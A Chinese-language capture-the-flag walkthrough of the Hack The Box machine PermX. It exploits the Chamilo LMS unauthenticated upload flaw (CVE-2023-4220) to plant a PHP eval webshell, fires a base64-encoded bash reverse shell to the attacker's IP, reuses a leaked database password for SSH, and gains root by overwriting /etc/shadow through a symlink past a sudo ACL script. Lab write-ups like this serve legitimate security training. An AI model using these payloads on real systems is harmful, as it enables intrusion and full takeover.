Chamilo LMS未经身份验证的Big Upload File远程代码执行漏洞
PermX
信息搜集
nmap扫描一下端口
1 | nmap -sC -v 10.10.11.23 |
扫描结果如下
1 | PORT STATE SERVICE |
发现80端口重定向http://permx.htb
,添加域名到/etc/hosts
访问80端口,打开页面翻译发现是个学习平台
扫一下有没有子域名
1 | ffuf -u 'http://permx.htb' -H 'host: FUZZ.permx.htb' -w /home/rev1ve/shentou/dict/zi-yu-ming/subdomains-10000.txt -fc 301,302 -mc all |
www子域名没什么东西,添加lms.permx.com
到/etc/hosts
漏洞利用
直接访问,搜索一下是学习管理系统
账号密码都没有,并且尝试admin弱密码也不行
开始是在阿里云漏洞库找并没有收获,后面去CVE官网找到可利用漏洞
这里网上找了篇利用漏洞的文章,按照文章打就行
先查看下/main/inc/lib/javascript/bigupload/inc/bigUpload.php
文件是否存在
如果存在的话,就可以允许将任意文件上传到Web根目录下的/main/inc/lib/javascript/bigupload/files
目录
写个马上传到文件夹
1 | echo '<?php eval($_POST[1]);?>' > rce.php |
访问马的上传路径,成功命令执行
直接反弹shell到本机
1 | 1=system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi45LzEwMjggMD4mMQ==|base64 -d|bash"); |
由于是www-data的shell没什么权限,在本机开启http服务
上传linpeas.sh自动化扫描一下
1 | wget http://10.10.16.9/linpeas.sh |
发现存在数据库敏感信息
cat查看一下得到用户名和密码
1 | // Database connection settings. |
想着连接数据库,不过一直都连不上
1 | mysql -u chamilo -p -h localhost |
我们查看下/home
下对应用户为mtz,尝试用数据库密码登录
1 | ssh mtz@10.10.11.23 |
登陆成功,拿到user的flag
权限提升
直接sudo -l
看看有什么可以用
跟进查看一下
1 |
|
首先判断是否为三个参数,分别为user用户、perm权限、target目标文件
,然后$target
限制在/home/mtz
路径下以及防止目录穿越,最后就是目标必须是文件。其实这段bash脚本就是用于设置文件的访问控制列表 (ACL)
由于root的密码存放在/etc/shadow
,虽然限制访问路径和../
,但是我们可以创建个指向/etc/
,然后修改root用户对应的密码即可提升至root权限
创建软链接,赋予/etc/shadow
文件的rwx
权限
1 | ln -s /etc/ exp |
在攻击机加密我们要修改的密码
1 | openssl passwd -6 123456 |
最后添加到/etc/shadow
里即可
1 | echo 'root:$6$vJ2j3Q3CvHdwSUqC$UiU8yKLIxCwz/GEAve5F9dYGk.nxo1gscErZL3bKADldciewmeC/Txk1jUmr2KI2DJS12tS1seUTR988mw12G0:19871:0:99999:7:::' > /home/mtz/exp/shadow |
su切换到root用户,得到root的flag
参考文章
CVE-2023-4220漏洞利用
靶机wp